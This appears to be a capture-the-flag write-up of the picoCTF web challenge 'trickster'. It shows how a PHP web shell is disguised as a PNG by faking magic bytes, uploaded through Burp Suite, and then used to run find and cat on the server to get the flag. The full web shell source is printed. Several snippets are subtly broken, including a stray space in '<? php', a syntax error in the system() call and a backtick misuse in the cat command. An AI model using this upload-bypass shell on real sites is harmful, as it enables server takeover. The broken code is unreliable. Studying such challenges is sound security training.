This is a challenge from picoCTF titled 'trickster' from web exploitation category. It's needless to say that this one is a little trickier as the name suggests but the concept is really cool.

You can access the challenge here.

An image to describe post

Upon launching the instance, it redirects me to a website called File Upload Page. From initial recon, I understood that the page has an upload functionality where the user can only upload image of .png extension. The website doesn't allow submitting any other file type.

An image to describe post

I uploaded a sample PNG image of 1MB to test it. The image was successfully uploaded and message on the site was changed to "File uploaded successfully and is a valid PNG file. We shall process it and get back to you... Hopefully"

An image to describe post

and when tried to upload other file except .png extension it showed that it wasn't a valid PNG file. Despite also checking the source code, i found nothing. So, I moved to the next steps.

To gather more information, I used the host command to determine the website's IP address and followed up with an nmap.

host atlas.picoctf.net

Found the ip address. I ran nmap to identify open ports and services.

nmap -A -p 54849 -T4 {ip}

An image to describe post

As you can see, I found 2 text files and a directory running on the port.
Instantly I looked into /robots.txt and found as following. The information are similar to what the nmap result said.

An image to describe post

It seemed like /uploads/ will store the files uploaded. I checked for /uploads/test.png directory and yes, it showed me the image I uploaded eariler.

An image to describe post

I checked /instructions.txt and it lead me to these information -

Let's create a web app for PNG Images processing. It needs to: Allow users toupload PNG images look for ".png" extension in the submitted files make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" ) after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.

An image to describe post

Recognizing an opportunity, I knew that I can change the initial hexadecimals using any hexeditor. At first, I need to understand if this approach would work, I wrote a simple script and saved it as webshell.php

<? php echo system('whoami');?>

Now I renamed it as webshell.png.php and tried to upload -

An image to describe post

Yeah, so seems like file extension must end with .png, so tried with webshell.php.png but yet it didn't work. But it showed with a different error saying that wasn't a valid png file.

An image to describe post

I had to do a quick study about PNG encoding and decoding from here

I found that the first four bytes of a PNG file always contain 89 50 4e 47 as our hint said. Let's modify the hex values for this file using hexedit

hexedit webshell.png

The hex file looks like this

An image to describe post

I was confident that the approach will work as I can upload php file type under png to do a Web Shell Injection via File Upload.

I found a really simple php webshell script from here

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd'] . );
}
?>
</pre>
</body>
</html>

Now I saved it as webshell.png. I then used Burp Suite to intercept and modify the request, replacing the Content-Disposition filename with webshell.png and setting the Content-Type to application/php. This allowed me to upload the file disguised as a PNG while retaining its PHP functionality.

An image to describe post

Then forwarded it.

I now uploaded the webshell file to the website and it was a success. Once uploaded, I navigated to /uploads/webshell.png and yes my webshell was running.

An image to describe post

I instantly got really excited and using it, I looked for all the text files.

find / -name '*.txt'

I found a .txt file called /var/www/html/G4ZTCOJYMJSDS.txt and in the web shell i used cat -

cat `/var/www/html/G4ZTCOJYMJSDS.txt`

and got the flag there.

This challenge provided a practical exercise in exploiting content-type restrictions, reinforcing the importance of proper input validation. Special thanks to picoCTF for this excellent learning opportunity.